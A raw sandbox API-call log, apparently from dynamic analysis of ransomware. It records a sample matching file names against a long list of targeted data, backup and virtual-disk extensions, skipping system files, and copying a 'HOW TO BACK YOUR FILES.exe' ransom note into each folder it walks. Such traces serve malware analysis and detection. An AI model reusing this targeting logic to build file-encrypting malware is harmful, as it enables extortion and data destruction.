	[0040.143] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 65
	[0040.143] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="AdbeRdrUpd10110_MUI.msp" | out: lpString1="AdbeRdrUpd10110_MUI.msp") returned="AdbeRdrUpd10110_MUI.msp"
	[0040.143] lstrlenW (lpString="AdbeRdrUpd10110_MUI.msp") returned 23
	[0040.143] lstrlenW (lpString="Apollon865") returned 10
	[0040.143] lstrcmpiW (lpString1="10_MUI.msp", lpString2="Apollon865") returned -1
	[0040.143] lstrlenW (lpString=".dll") returned 4
	[0040.143] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2=".dll") returned 1
	[0040.143] lstrlenW (lpString=".lnk") returned 4
	[0040.143] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2=".lnk") returned 1
	[0040.143] lstrlenW (lpString=".ini") returned 4
	[0040.143] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2=".ini") returned 1
	[0040.143] lstrlenW (lpString=".sys") returned 4
	[0040.143] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2=".sys") returned 1
	[0040.143] lstrlenW (lpString="AdbeRdrUpd10110_MUI.msp") returned 23
	[0040.143] lstrlenW (lpString="bak") returned 3
	[0040.143] lstrcmpiW (lpString1="msp", lpString2="bak") returned 1
	[0040.143] lstrlenW (lpString="ba_") returned 3
	[0040.143] lstrcmpiW (lpString1="msp", lpString2="ba_") returned 1
	[0040.143] lstrlenW (lpString="dbb") returned 3
	[0040.143] lstrcmpiW (lpString1="msp", lpString2="dbb") returned 1
	[0040.143] lstrlenW (lpString="vmdk") returned 4
	[0040.143] lstrcmpiW (lpString1=".msp", lpString2="vmdk") returned -1
	[0040.143] lstrlenW (lpString="rar") returned 3
	[0040.143] lstrcmpiW (lpString1="msp", lpString2="rar") returned -1
	[0040.143] lstrlenW (lpString="zip") returned 3
	[0040.143] lstrcmpiW (lpString1="msp", lpString2="zip") returned -1
	[0040.143] lstrlenW (lpString="tgz") returned 3
	[0040.143] lstrcmpiW (lpString1="msp", lpString2="tgz") returned -1
	[0040.143] lstrlenW (lpString="vbox") returned 4
	[0040.144] lstrcmpiW (lpString1=".msp", lpString2="vbox") returned -1
	[0040.144] lstrlenW (lpString="vdi") returned 3
	[0040.144] lstrcmpiW (lpString1="msp", lpString2="vdi") returned -1
	[0040.144] lstrlenW (lpString="vhd") returned 3
	[0040.144] lstrcmpiW (lpString1="msp", lpString2="vhd") returned -1
	[0040.144] lstrlenW (lpString="vhdx") returned 4
	[0040.144] lstrcmpiW (lpString1=".msp", lpString2="vhdx") returned -1
	[0040.144] lstrlenW (lpString="avhd") returned 4
	[0040.144] lstrcmpiW (lpString1=".msp", lpString2="avhd") returned -1
	[0040.144] lstrlenW (lpString="db") returned 2
	[0040.144] lstrcmpiW (lpString1="sp", lpString2="db") returned 1
	[0040.144] lstrlenW (lpString="db2") returned 3
	[0040.144] lstrcmpiW (lpString1="msp", lpString2="db2") returned 1
	[0040.144] lstrlenW (lpString="db3") returned 3
	[0040.144] lstrcmpiW (lpString1="msp", lpString2="db3") returned 1
	[0040.144] lstrlenW (lpString="dbf") returned 3
	[0040.144] lstrcmpiW (lpString1="msp", lpString2="dbf") returned 1
	[0040.144] lstrlenW (lpString="mdf") returned 3
	[0040.144] lstrcmpiW (lpString1="msp", lpString2="mdf") returned 1
	[0040.144] lstrlenW (lpString="mdb") returned 3
	[0040.144] lstrcmpiW (lpString1="msp", lpString2="mdb") returned 1
	[0040.144] lstrlenW (lpString="sql") returned 3
	[0040.144] lstrcmpiW (lpString1="msp", lpString2="sql") returned -1
	[0040.144] lstrlenW (lpString="sqlite") returned 6
	[0040.144] lstrcmpiW (lpString1="UI.msp", lpString2="sqlite") returned 1
	[0040.144] lstrlenW (lpString="sqlite3") returned 7
	[0040.144] lstrcmpiW (lpString1="MUI.msp", lpString2="sqlite3") returned -1
	[0040.144] lstrlenW (lpString="sqlitedb") returned 8
	[0040.144] lstrcmpiW (lpString1="_MUI.msp", lpString2="sqlitedb") returned -1
	[0040.144] lstrlenW (lpString="xml") returned 3
	[0040.144] lstrcmpiW (lpString1="msp", lpString2="xml") returned -1
	[0040.144] lstrlenW (lpString="$er") returned 3
	[0040.144] lstrcmpiW (lpString1="msp", lpString2="$er") returned 1
	[0040.144] lstrlenW (lpString="4dd") returned 3
	[0040.144] lstrcmpiW (lpString1="msp", lpString2="4dd") returned 1
	[0040.144] lstrlenW (lpString="4dl") returned 3
	[0040.144] lstrcmpiW (lpString1="msp", lpString2="4dl") returned 1
	[0040.144] lstrlenW (lpString="^^^") returned 3
	[0040.144] lstrcmpiW (lpString1="msp", lpString2="^^^") returned 1
	[0040.145] lstrlenW (lpString="abs") returned 3
	[0040.145] lstrcmpiW (lpString1="msp", lpString2="abs") returned 1
	[0040.145] lstrlenW (lpString="abx") returned 3
	[0040.145] lstrcmpiW (lpString1="msp", lpString2="abx") returned 1
	[0040.145] lstrlenW (lpString="accdb") returned 5
	[0040.145] lstrcmpiW (lpString1="I.msp", lpString2="accdb") returned 1
	[0040.145] lstrlenW (lpString="accdc") returned 5
	[0040.145] lstrcmpiW (lpString1="I.msp", lpString2="accdc") returned 1
	[0040.145] lstrlenW (lpString="accde") returned 5
	[0040.145] lstrcmpiW (lpString1="I.msp", lpString2="accde") returned 1
	[0040.145] lstrlenW (lpString="accdr") returned 5
	[0040.145] lstrcmpiW (lpString1="I.msp", lpString2="accdr") returned 1
	[0040.145] lstrlenW (lpString="accdt") returned 5
	[0040.145] lstrcmpiW (lpString1="I.msp", lpString2="accdt") returned 1
	[0040.145] lstrlenW (lpString="accdw") returned 5
	[0040.145] lstrcmpiW (lpString1="I.msp", lpString2="accdw") returned 1
	[0040.145] lstrlenW (lpString="accft") returned 5
	[0040.145] lstrcmpiW (lpString1="I.msp", lpString2="accft") returned 1
	[0040.145] lstrlenW (lpString="adb") returned 3
	[0040.145] lstrcmpiW (lpString1="msp", lpString2="adb") returned 1
	[0040.145] lstrlenW (lpString="adb") returned 3
	[0040.145] lstrcmpiW (lpString1="msp", lpString2="adb") returned 1
	[0040.145] lstrlenW (lpString="ade") returned 3
	[0040.145] lstrcmpiW (lpString1="msp", lpString2="ade") returned 1
	[0040.145] lstrlenW (lpString="adf") returned 3
	[0040.145] lstrcmpiW (lpString1="msp", lpString2="adf") returned 1
	[0040.145] lstrlenW (lpString="adn") returned 3
	[0040.145] lstrcmpiW (lpString1="msp", lpString2="adn") returned 1
	[0040.145] lstrlenW (lpString="adp") returned 3
	[0040.145] lstrcmpiW (lpString1="msp", lpString2="adp") returned 1
	[0040.145] lstrlenW (lpString="alf") returned 3
	[0040.145] lstrcmpiW (lpString1="msp", lpString2="alf") returned 1
	[0040.145] lstrlenW (lpString="ask") returned 3
	[0040.145] lstrcmpiW (lpString1="msp", lpString2="ask") returned 1
	[0040.145] lstrlenW (lpString="btr") returned 3
	[0040.145] lstrcmpiW (lpString1="msp", lpString2="btr") returned 1
	[0040.145] lstrlenW (lpString="cat") returned 3
	[0040.146] lstrcmpiW (lpString1="msp", lpString2="cat") returned 1
	[0040.146] lstrlenW (lpString="cdb") returned 3
	[0040.146] lstrcmpiW (lpString1="msp", lpString2="cdb") returned 1
	[0040.146] lstrlenW (lpString="ckp") returned 3
	[0040.146] lstrcmpiW (lpString1="msp", lpString2="ckp") returned 1
	[0040.146] lstrlenW (lpString="cma") returned 3
	[0040.146] lstrcmpiW (lpString1="msp", lpString2="cma") returned 1
	[0040.146] lstrlenW (lpString="cpd") returned 3
	[0040.146] lstrcmpiW (lpString1="msp", lpString2="cpd") returned 1
	[0040.146] lstrlenW (lpString="dacpac") returned 6
	[0040.146] lstrcmpiW (lpString1="UI.msp", lpString2="dacpac") returned 1
	[0040.146] lstrlenW (lpString="dad") returned 3
	[0040.146] lstrcmpiW (lpString1="msp", lpString2="dad") returned 1
	[0040.146] lstrlenW (lpString="dadiagrams") returned 10
	[0040.146] lstrcmpiW (lpString1="10_MUI.msp", lpString2="dadiagrams") returned -1
	[0040.146] lstrlenW (lpString="daschema") returned 8
	[0040.146] lstrcmpiW (lpString1="_MUI.msp", lpString2="daschema") returned -1
	[0040.146] lstrlenW (lpString="db-journal") returned 10
	[0040.146] lstrcmpiW (lpString1="10_MUI.msp", lpString2="db-journal") returned -1
	[0040.146] lstrlenW (lpString="db-shm") returned 6
	[0040.146] lstrcmpiW (lpString1="UI.msp", lpString2="db-shm") returned 1
	[0040.146] lstrlenW (lpString="db-wal") returned 6
	[0040.146] lstrcmpiW (lpString1="UI.msp", lpString2="db-wal") returned 1
	[0040.146] lstrlenW (lpString="dbc") returned 3
	[0040.146] lstrcmpiW (lpString1="msp", lpString2="dbc") returned 1
	[0040.146] lstrlenW (lpString="dbs") returned 3
	[0040.146] lstrcmpiW (lpString1="msp", lpString2="dbs") returned 1
	[0040.146] lstrlenW (lpString="dbt") returned 3
	[0040.146] lstrcmpiW (lpString1="msp", lpString2="dbt") returned 1
	[0040.146] lstrlenW (lpString="dbv") returned 3
	[0040.146] lstrcmpiW (lpString1="msp", lpString2="dbv") returned 1
	[0040.146] lstrlenW (lpString="dbx") returned 3
	[0040.146] lstrcmpiW (lpString1="msp", lpString2="dbx") returned 1
	[0040.146] lstrlenW (lpString="dcb") returned 3
	[0040.146] lstrcmpiW (lpString1="msp", lpString2="dcb") returned 1
	[0040.147] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="AdbeRdrUpd10116_MUI.msp" | out: lpString1="AdbeRdrUpd10116_MUI.msp") returned="AdbeRdrUpd10116_MUI.msp"
	[0040.147] lstrlenW (lpString="AdbeRdrUpd10116_MUI.msp") returned 23
	[0040.147] lstrlenW (lpString="Apollon865") returned 10
	[0040.147] lstrcmpiW (lpString1="16_MUI.msp", lpString2="Apollon865") returned -1
	[0040.147] lstrlenW (lpString=".dll") returned 4
	[0040.147] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2=".dll") returned 1
	[0040.147] lstrlenW (lpString=".lnk") returned 4
	[0040.147] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2=".lnk") returned 1
	[0040.147] lstrlenW (lpString=".ini") returned 4
	[0040.147] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2=".ini") returned 1
	[0040.147] lstrlenW (lpString=".sys") returned 4
	[0040.147] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2=".sys") returned 1
	[0040.147] lstrlenW (lpString="AdbeRdrUpd10116_MUI.msp") returned 23
	[0040.147] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Adobe\\Acrobat", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat") returned="C:\\Users\\All Users\\Adobe\\Acrobat"
	[0040.147] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdca8 | out: hHeap=0x580000) returned 1
	[0040.147] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0040.147] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat") returned 32
	[0040.147] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Adobe\\Acrobat" | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat") returned="C:\\Users\\All Users\\Adobe\\Acrobat"
	[0040.147] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.147] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.151] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.151] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300a2b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.152] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.152] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.152] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.152] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300a2b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.152] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.152] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.152] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.152] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.152] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0040.152] lstrcmpiW (lpString1="10.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.152] lstrcmpiW (lpString1="10.0", lpString2="Apollon865.txt.exe") returned -1
	[0040.152] lstrcmpiW (lpString1="10.0", lpString2=".") returned 1
	[0040.152] lstrcmpiW (lpString1="10.0", lpString2="..") returned 1
	[0040.152] lstrcmpiW (lpString1="10.0", lpString2="windows") returned -1
	[0040.152] lstrcmpiW (lpString1="10.0", lpString2="bootmgr") returned -1
	[0040.152] lstrcmpiW (lpString1="10.0", lpString2="temp") returned -1
	[0040.152] lstrcmpiW (lpString1="10.0", lpString2="pagefile.sys") returned -1
	[0040.152] lstrcmpiW (lpString1="10.0", lpString2="boot") returned -1
	[0040.152] lstrcmpiW (lpString1="10.0", lpString2="ids.txt") returned -1
	[0040.152] lstrcmpiW (lpString1="10.0", lpString2="ntuser.dat") returned -1
	[0040.152] lstrcmpiW (lpString1="10.0", lpString2="perflogs") returned -1
	[0040.152] lstrcmpiW (lpString1="10.0", lpString2="MSBuild") returned -1
	[0040.152] lstrlenW (lpString="10.0") returned 4
	[0040.152] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\*") returned 34
	[0040.152] lstrcpyW (in: lpString1=0x2d3e592, lpString2="10.0" | out: lpString1="10.0") returned="10.0"
	[0040.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0040.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bc908
	[0040.152] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0040.152] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x300a2b50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.152] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.152] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x300a2b50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0040.153] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0040.153] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0040.153] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0"
	[0040.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc908 | out: hHeap=0x580000) returned 1
	[0040.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0040.153] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0") returned 37
	[0040.153] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0"
	[0040.153] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.153] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.157] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.157] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300a2b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.157] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.157] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.157] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.157] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300a2b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.157] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.157] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.158] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.158] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.158] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x300a2b50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.158] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.158] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 1
	[0040.158] lstrcmpiW (lpString1="Replicate", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.158] lstrcmpiW (lpString1="Replicate", lpString2="Apollon865.txt.exe") returned 1
	[0040.158] lstrcmpiW (lpString1="Replicate", lpString2=".") returned 1
	[0040.158] lstrcmpiW (lpString1="Replicate", lpString2="..") returned 1
	[0040.158] lstrcmpiW (lpString1="Replicate", lpString2="windows") returned -1
	[0040.158] lstrcmpiW (lpString1="Replicate", lpString2="bootmgr") returned 1
	[0040.158] lstrcmpiW (lpString1="Replicate", lpString2="temp") returned -1
	[0040.158] lstrcmpiW (lpString1="Replicate", lpString2="pagefile.sys") returned 1
	[0040.158] lstrcmpiW (lpString1="Replicate", lpString2="boot") returned 1
	[0040.158] lstrcmpiW (lpString1="Replicate", lpString2="ids.txt") returned 1
	[0040.158] lstrcmpiW (lpString1="Replicate", lpString2="ntuser.dat") returned 1
	[0040.158] lstrcmpiW (lpString1="Replicate", lpString2="perflogs") returned 1
	[0040.158] lstrcmpiW (lpString1="Replicate", lpString2="MSBuild") returned 1
	[0040.158] lstrlenW (lpString="Replicate") returned 9
	[0040.158] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*") returned 39
	[0040.158] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="Replicate" | out: lpString1="Replicate") returned="Replicate"
	[0040.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0040.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5458
	[0040.158] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0040.158] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 0
	[0040.158] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0040.158] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0040.158] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate"
	[0040.158] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0040.158] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0040.158] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate") returned 47
	[0040.158] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate" | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate"
	[0040.158] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.159] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.165] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.165] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.165] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.165] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.165] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.166] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.166] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.166] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.166] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.166] lstrcmpiW (lpString1="..", lpString2="..") returned 0
